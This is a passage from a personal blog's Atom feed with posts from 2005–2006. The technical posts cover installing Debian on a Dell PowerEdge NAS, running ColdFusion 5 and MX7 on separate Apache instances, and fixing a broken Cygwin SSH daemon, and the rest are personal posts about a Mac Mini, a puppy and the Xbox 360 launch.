drives&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;create      a new 100MB partition on the first drive, formatted as EXT3 and with a      mount point of /boot&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;create      a new partition on the same drive for the remaining space, use these      drives as “physical volume for LVM” &lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;create      new partitions on the rest of the drives of %100 and used as “physical      volume for LVM”&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;on      the main partitioning screen select the Configure LVM and select yes at      the prompt (write partition changes to disk)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;select      Modify Volume Groups&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;add      all the partitions available&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;give      it a meaningful name (PV715 in my case)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;select      Modify Logical Volumes &gt; Create Logical Volume &lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;give      it the name “swap” press enter and select the Volume group it should      belong to, in this case there is only one&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;make      it 1GB in size and use the “leave” option to return to the main menu&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;repeat      steps 10 – 12 for the following details&lt;br /&gt;     a name of system and a capacity of 9GB&lt;br /&gt;     a name of backups and 100% of the remaining capacity&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;return      to the partitioning menu and edit the LVM partitions at the bottom of the      list, format them all as EXT3 except for the Logical Volume named swap,      format it as swap. Mount the “system” Logical Volume as / and the backups      Logical Volume as /backups&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;select      “write partition changes to disk” and let the installer format the drives.&lt;/li&gt;&lt;/ol&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;Step 5: The debian installation pt. 3 (Finishing touches)&lt;/p&gt;  &lt;p style="font-family: trebuchet ms;" class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;ol style="margin-top: 0cm; font-family: trebuchet ms;" start="1" type="1"&gt;&lt;li class="MsoNormal" style=""&gt;When      it prompts for what kind of system to install remove all options using the      spacebar, the only one selected initially is standard setup, this includes      an X-server amongst other things and is not necessary for a poweredge      installation.&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;let      the installation complete and give it the required information, Root      password, and the initial user account.&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;When      the installation completes altogether you will be presented with a login      prompt on Hyperterminal on the host computer.&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;Login      using the standard user account and su to root, apt-get install the      following options to make management easier: sudo vim nano jed ssh&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;edit      the /etc/network/interfaces file and give the server a static IP address      on eth0 (initially)&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;edit      the /etc/sudoers file and add in any users that are to have SU privileges.&lt;/li&gt;&lt;li class="MsoNormal" style=""&gt;do      /etc/init.d/networking restart and the installation is complete!&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-114353766985243622?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/114353766985243622/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=114353766985243622' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/114353766985243622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/114353766985243622'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/03/installation-of-debian-on-dell.html' title='Installation of Debian on a Dell Poweredge 715n'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-114320460780631352</id><published>2006-03-24T11:36:00.000Z</published><updated>2006-03-24T12:50:07.870Z</updated><title type='text'>Deploying ColdFusion 5 and MX7 on the same server</title><content type='html'>&lt;span style="font-family: trebuchet ms;"&gt;I have now successfully installed and have running CF5 and MX7 on the same server using multiple instances of Apache with different configuration files so that they run on different port numbers and each have their own administrator. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;This was done so that a single laptop could be used to demo several different applications that the company I work for developed under CF5 and MX7, normally we would just use a dedicated demo serve but where the laptop is going there is no guarantee of connecting to them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Apparently this is quite simple using Multiple instances of ColdFusion MX and MX7, but in this case it had to be CF5 which proved to be a bit of a pain. I initially thought about using IIS for CF5 with Apache running the MX7 side of things, but as IIS is the Server of the Beast I wanted to go for an all Apache installation.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;The machine I started with had Apache 2.0.55 already installed and running CF5 so I will take it from there (see my earlier posts on how to get this working as Macromedia/Adobe dont officially support this combination)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: trebuchet ms;"&gt;INSTALLATION STEPS&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;1. Create a new Apache httpd.conf configuration file (copy and paste the CF5 httpd.conf if you like) in a subdirectory of Apache's "conf" folder , I called mine MX7 as this is what will be running on it. I also decided to subdivide the document roots for CF5 sites and for MX7 sites, this is not necessary but I found it made a confusing task a bit more manageable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;2. Create a new folder in your Apaches installation's conf folder (default installation will be c:\Program Files\Apache Group\Apache2\conf) name the folder MX7 and copy the httpd.conf file from the Apache conf folder into here.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;3. Edit the httpd.conf file in the MX7 directory using your fave text editor, and amend the following lines &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;Listen 80 -&gt; Listen 8080&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;ServerName servername:80 -&gt; ServerName servername:8080&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;NameVirtualHost 127.0.0.1:80 -&gt; NameVirtualHost 127.0.0.1:8080&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;make sure that the mod_rewite module is enabled in the LoadModule section(uncomment it in most Apache 2 installations)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;4. Create a new VirtualHost with these details&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;&lt;virtualhost&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    ServerAdmin admin@server.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    DocumentRoot "Path/to/where/CFMX7/Administrator/is/going"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    ServerName admin.localhost.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    ErrorLog logs/admin.localhost.com-error_log&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    CustomLog logs/admin.localhost.com-access_log common&lt;br /&gt;    RewriteEngine On&lt;br /&gt;    RewriteCond %{SERVER_PORT} !^8080$&lt;br /&gt;    RewriteRule ^/(.*)         http://admin.localhost.com:%{SERVER_PORT}/$1 [L,R]&lt;br /&gt;&lt;/virtualhost&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Make sure that the DocumentRoot exists!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Add this to your hosts file so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;&lt;br /&gt;127.0.0.1    admin.localhost.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;5. Install CFMX7 Enterprise edition and select Multiserver configuration when prompted. It willask you for the Apache Binary (c:\Program Files\Apache Group\Apache2\bin\apache.exe) and the location of the configuration files (c:\Program Files\Apache Group\Apache2\conf\&lt;/span&gt;&lt;span style="font-weight: bold; font-family: trebuchet ms;"&gt;mx7&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;)&lt;/span&gt;&lt;span style="font-weight: bold; font-family: trebuchet ms;"&gt;  &lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;It may complain about a pre-existing installation but you can safely ignore this as this is a copy of the CF5 enabled httpd.conf. When asked where the CFAdministrator is to be installed, give it the location you specified as the DocumentRoot in Step 4&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;6. Open up a "run" prompt and use the following command (assuming default installation paths etc.)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;"C:\Program Files\Apache Group\Apache2\bin\Apache.exe" -f "C:\Program Files\Apache Group\Apache2\conf\mx7\httpd.conf"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Make sure to leave the quotes in for a change! You can also create a shortcut with the same parameters for easy access.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;7. Go to "http://admin.localhost.com:8080/cfide/administrator" in your favourite browser and you should get the usual CFAdministrator prompt. You will however be asked about migration, you want to skip this step using the "skip" button as your installation has to exist alongside your CF5 installation and you copied a httpd.conf file that had been modified for CF5. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;8. Your demo server is now ready to run applications for CF5 and MX7, now its time to add those VirtualHosts and DSNs to the CFAdministrators.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: trebuchet ms;"&gt;ADMINISTRATION&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Administering CF5 (adding Applications and DataSources)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;Edit your CF5 Apache configuration (I'll give you a hint, its not the one in the MX7 subdirectory)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;and add a new VirtualHost in the normal way, you can copy and paste the example if you do not have any set up.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Add this directive inside the VirtualHost, I'm not sure if it is necessary for all installations but it was in my case so I am including it here for the sake of completeness.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;DirectoryIndex index.cfm&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;This tells Apache to look for the index.cfm file as the index page, I also specify this in the general directive area.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;The installation that I was preparing had a MSSQL server running on localhost, so I was using this as my Datasource. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;When adding a DSN I had to add it using the CF5 CFadministrator and then go into &lt;/span&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;Control Panel &gt; Administrative Tools &gt; Data Sources (ODBC)&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt; and amend the appropriate entry to make it point to the correct location and enable the connection&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Administering CFMX7 (adding Applications and DataSources)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;This is slightly more complicated as it is a non-standard deployment of CFMX7.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Firstly make sure that the MX7 enabled instance of Apache is running, if it is not, start it using the command shown above.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;To add a new Application to Apache open up the MX7 httpd.conf file (found in the MX7 subdirectory if you followed these instructions) and add a VirtualHost, simply copy and paste the one you created for the CFAdministrator and change the following lines&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;&lt;virtualhost&gt;&lt;/span&gt;&lt;br /&gt; &lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    ServerAdmin admin@server.com&lt;/span&gt;&lt;br /&gt; &lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    DocumentRoot "Path/to/where/Application/is/located"&lt;/span&gt;&lt;br /&gt; &lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    ServerName url.for.site&lt;/span&gt;&lt;br /&gt; &lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    ErrorLog logs/url.for.site-error_log&lt;/span&gt;&lt;br /&gt; &lt;span style="font-style: italic; font-family: trebuchet ms;"&gt;    CustomLog logs/url.for.site-access_log common&lt;br /&gt;    RewriteEngine On&lt;br /&gt;    RewriteCond %{SERVER_PORT} !^8080$&lt;br /&gt;    RewriteRule ^/(.*)         http://url.for.site:%{SERVER_PORT}/$1 [L,R]&lt;br /&gt; &lt;/virtualhost&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;Once this is done and saved you can exit the MX7 Apache instance and restart it.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;In my case I had to add the SQL server DBs as ODBC data sources and then add them in to CFadministrator that way instead of just adding them directly. I won't cover this here because if you are reading this far you obviously know your way around a server install.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;There are a few additional notes that were important when running these installations.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;If you need to restart the CF5 Apache instance (i.e. when adding a new application) it is necessary to stop the MX7 Instance and then restart CF5 and then start the MX7 instance again.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;In the CF5 CFadministrator, Datasources that you added under MX7 will appear, but if you press "verify all connections" they will fail the check, this has the disadvantage that you cannot have a datasource in CF5 with the same name as an MX7 datasource.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;If I was to do this installation again I would do some stuff differently, I would install MX7 first and give it port 80, this is down to the fact that in order to install CF5 along with Apache2 it is necessary to configure the httpd.conf file manually, I would also copy the httpd.conf file before installing CFMX7, this should stop it from complaining about migrating settings etc, also if I did install MX7 first, CF5 might barf when it sees the newer directives, I don't know for sure if it would do this, but better safe than sorry.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;When the install was done, some of the applications didnt work straight away but this was down to the paths to the files and the URLs being slightly different.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I hope that this is of some use to someone else that comes across it. Next time I will probably try it using a VirtualMachine running Linux or Windows 2000 server edition, hopefully it would be a very tidy solution as the instances would run totally independently! That is an experiment for another day (Saturday, maybe?)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: trebuchet ms;"&gt;I have another fairly long post coming up detailing a headless install of a Dell Poweredge 715n NAS, using only a crossover network cable and a DB9 serial cable. Stay tuned!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-114320460780631352?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/114320460780631352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=114320460780631352' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/114320460780631352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/114320460780631352'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/03/deploying-coldfusion-5-and-mx7-on-same.html' title='Deploying ColdFusion 5 and MX7 on the same server'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113872378801864518</id><published>2006-01-31T16:04:00.000Z</published><updated>2006-01-31T16:09:48.036Z</updated><title type='text'>SSHD Broken under Cygwin</title><content type='html'>A word of warning, be very, very careful when changing permissions of anything that Cygwin uses, in fact don't even think about doing it because more likely than not you will break it.&lt;br /&gt;&lt;br /&gt;I came across this problem today when I changed the ownership on a Cygwin directory from SYSTEM to Administrators.&lt;br /&gt;&lt;br /&gt;This broke SSH and the service would not start, it fails with the message "The service did not start or respond in a timely manner" or some nonsense like that.&lt;br /&gt;&lt;br /&gt;The way to fix this is as follows&lt;br /&gt;&lt;br /&gt;1. delete the file /var/log/sshd.log&lt;br /&gt;2. open a bash shell and cd to /var&lt;br /&gt;3. chown SYSTEM.none empty&lt;br /&gt;4. chmod 0600 empty&lt;br /&gt;5. cd to /etc and do&lt;br /&gt;6. chown SYSTEM.none ssh*key&lt;br /&gt;7. chmod 0600 ssh*key&lt;br /&gt;&lt;br /&gt;you should now be able to start the SSH Daemon by either net start sshd or cygrunsrv -S sshd or starting it through services.msc&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113872378801864518?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113872378801864518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113872378801864518' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113872378801864518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113872378801864518'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/01/sshd-broken-under-cygwin.html' title='SSHD Broken under Cygwin'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113629896539499265</id><published>2006-01-03T14:16:00.000Z</published><updated>2006-03-24T11:18:35.586Z</updated><title type='text'>WOOOO!!! MAC WOOOO!!!</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;well this Christmas has got to be one of the best ever! &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;My fantastic wife made it so special for me it almost felt like being a child again, being shooed off to bed so that the presents could be laid out when we came down in the morning and all that.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;She also managed to get me my mac mini and a few other bits and pieces without me realising it. This you might think would be simple but normally nothing happens in our house without me knowing about it, probably down to my unceasing need to know everything, even if it is none of my business!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;When I unwrapped it on christmas morning there were a few choice words spoken, mostly unrepeatable...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Needless to say that it is one of the nicest bits of engineering that I have had the pleasure of using; OS X is such a joy to use, everything seems to fall to hand without thinking about it. It just seems to come naturally, even to someone with an almost exclusively windows background. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Expose just makes life so much more manageable and iPhoto is amazing. I havent had to install a single driver for any of the peripherals that I have hooked up to it. I still have to get used to some of its quirks like CTRL + "end" does not take you to the end of the line, only the end of the word. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;And the fact that I am using a windows keyboard so I need to memorise which windows key maps to which Apple key. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Networking was picked up out of the box and just worked, even our strange VPN connection.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Anyway, I think I need a full day just to play around with it and learn more about where things go and how the permissions work. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I have spent far too long already messing about with the dock, the genie effect is so mesmerising... &lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113629896539499265?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113629896539499265/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113629896539499265' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113629896539499265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113629896539499265'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2006/01/woooo-mac-woooo.html' title='WOOOO!!! MAC WOOOO!!!'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113508266175159651</id><published>2005-12-20T12:25:00.000Z</published><updated>2006-03-24T11:18:48.990Z</updated><title type='text'>Puppy</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Last night was very exciting for me, we got a new puppy in the house. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;The story begins with our neighbours getting a new pup as well, ours' brother to be specific. Then our neighbours found out they were going to have another baby and the mother couldn't deal with the smells and the mess that puppies bring. We had planned to give it a home over Christm&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;as and help them rehome it.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;We were a bit disappointed when we found out last night that they were going to keep him but thought it was for the best. We had our hearts set on getting a puppy and putting in the effort that is needed so we were going to the local rehoming centre and were going to adopt another. &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;The neighbours mentioned that their pup had a brother and two sisters that also needed homes, and that they could bring them down so we could have a look at them. W&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;e told them just to bring down the dog as we have two already and wouldn't be able to home a bitch.&lt;br /&gt;&lt;br /&gt;We kinda discussed it and thought it was a bad idea but as soon as he arrived in with us our minds were made up, we took him there and then, he's called Remus and we have no idea what he is.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;No-one has any idea what breed he is apart from being a bitsa (bitsa this and bitsa that) so he could grow to be as big as a big thing or just stay as small as he is now.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;I'm heading home at lunchtime to feed him and let him out so I'll take a few photos and post them here, I have one on my camera phone but the quality is awful.&lt;br /&gt;&lt;br /&gt;***UPDATE***&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;As promised here is a photo, didnt have time to take anymore. Might take some more tonight...&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5866/1777/1600/remus_small.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/5866/1777/200/remus_small.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113508266175159651?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/113508266175159651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=113508266175159651' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113508266175159651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/113508266175159651'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2005/12/puppy.html' title='Puppy'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-113351404169547088</id><published>2005-12-02T08:56:00.000Z</published><updated>2006-03-24T11:33:46.950Z</updated><title type='text'>360 Launch Day</title><content type='html'>&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Well, today started off very interesting for me!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;If you don't know it was the official European launch of the XB0x 360 and I was at the front of the queue.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I had to get up at stupid o' clock but I would guess that I was the first person in the town to get one.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;It was a miserable cold wet stand outside the shop for an hour and a half and I feel like I want to die as my joints loosen up and the monkeys in my brain unfreeze and starting playing those blasted drums again.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;But&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;totally&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;worth&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;it&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;But here's the kicker, I'm not allowed to play it til Christmas. I have a sneaking suspicion that I might be getting a Mac Mini as well but its only a suspicion at the minute...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;I'll keep it posted, might "trip" over one when I'm up in the attic.&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-113351404169547088?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 